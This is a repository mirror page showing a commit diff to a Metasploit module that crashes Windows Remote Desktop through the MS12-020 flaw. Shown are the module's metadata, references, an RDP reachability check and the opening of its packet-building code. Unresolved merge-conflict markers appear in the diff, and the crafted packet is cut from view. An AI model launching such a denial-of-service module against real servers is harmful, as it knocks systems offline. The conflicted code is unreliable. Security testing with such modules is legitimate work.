infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

using theirs

bug/bundler_fix
darknight007 2013-10-12 16:20:26 +05:00
parent 4e50c574c5
commit 602fd276bc
1 changed files with 54 additions and 51 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

105
modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb
View File

@ -9,61 +9,61 @@ require 'msf/core'
class Metasploit3 < Msf::Auxiliary class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos include Msf::Auxiliary::Dos
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'MS12-020 Microsoft Remote Desktop Use-After-Free DoS', 'Name' => 'MS12-020 Microsoft Remote Desktop Use-After-Free DoS',
'Description' => %q{ 'Description' => %q{
This module exploits the MS12-020 RDP vulnerability originally discovered and This module exploits the MS12-020 RDP vulnerability originally discovered and
reported by Luigi Auriemma. The flaw can be found in the way the T.125 reported by Luigi Auriemma. The flaw can be found in the way the T.125
ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result
an invalid pointer being used, therefore causing a denial-of-service condition. an invalid pointer being used, therefore causing a denial-of-service condition.
}, },
'References' => 'References' =>
[ [
[ 'CVE', '2012-0002' ], [ 'CVE', '2012-0002' ],
[ 'MSB', 'MS12-020' ], [ 'MSB', 'MS12-020' ],
[ 'URL', 'http://www.privatepaste.com/ffe875e04a' ], [ 'URL', 'http://www.privatepaste.com/ffe875e04a' ],
[ 'URL', 'http://pastie.org/private/4egcqt9nucxnsiksudy5dw' ], [ 'URL', 'http://pastie.org/private/4egcqt9nucxnsiksudy5dw' ],
[ 'URL', 'http://pastie.org/private/feg8du0e9kfagng4rrg' ], [ 'URL', 'http://pastie.org/private/feg8du0e9kfagng4rrg' ],
[ 'URL', 'http://stratsec.blogspot.com.au/2012/03/ms12-020-vulnerability-for-breakfast.html' ], [ 'URL', 'http://stratsec.blogspot.com.au/2012/03/ms12-020-vulnerability-for-breakfast.html' ],
[ 'EDB', '18606' ], [ 'EDB', '18606' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/03/21/metasploit-update' ] [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/03/21/metasploit-update' ]
], ],
'Author' => 'Author' =>
[ [
'Luigi Auriemma', 'Luigi Auriemma',
'Daniel Godas-Lopez', # Entirely based on Daniel's pastie 'Daniel Godas-Lopez', # Entirely based on Daniel's pastie
'Alex Ionescu', 'Alex Ionescu',
'jduck', 'jduck',
'#ms12-020' # Freenode IRC '#ms12-020' # Freenode IRC
], ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'DisclosureDate' => "Mar 16 2012" 'DisclosureDate' => "Mar 16 2012"
)) ))
register_options( register_options(
[ [
Opt::RPORT(3389) Opt::RPORT(3389)
], self.class) ], self.class)
end end
def is_rdp_up def is_rdp_up
begin begin
connect connect
return true return true
rescue Rex::ConnectionRefused rescue Rex::ConnectionRefused
return false return false
rescue Rex::ConnectionTimeout rescue Rex::ConnectionTimeout
return false return false
end end
end end
def run def run
max_channel_ids = "\x02\x01\xff" max_channel_ids = "\x02\x01\xff"
<<<<<<< HEAD <<<<<<< HEAD
pkt = ''+ pkt = ''+
@ -257,5 +257,8 @@ class Metasploit3 < Msf::Auxiliary
end end
end end
end end
<<<<<<< HEAD
>>>>>>> Update ms12_020_maxchannelids.rb >>>>>>> Update ms12_020_maxchannelids.rb
=======
>>>>>>> f1ab7b51b1c7bef02d1fc094ba591a03303bef10
end end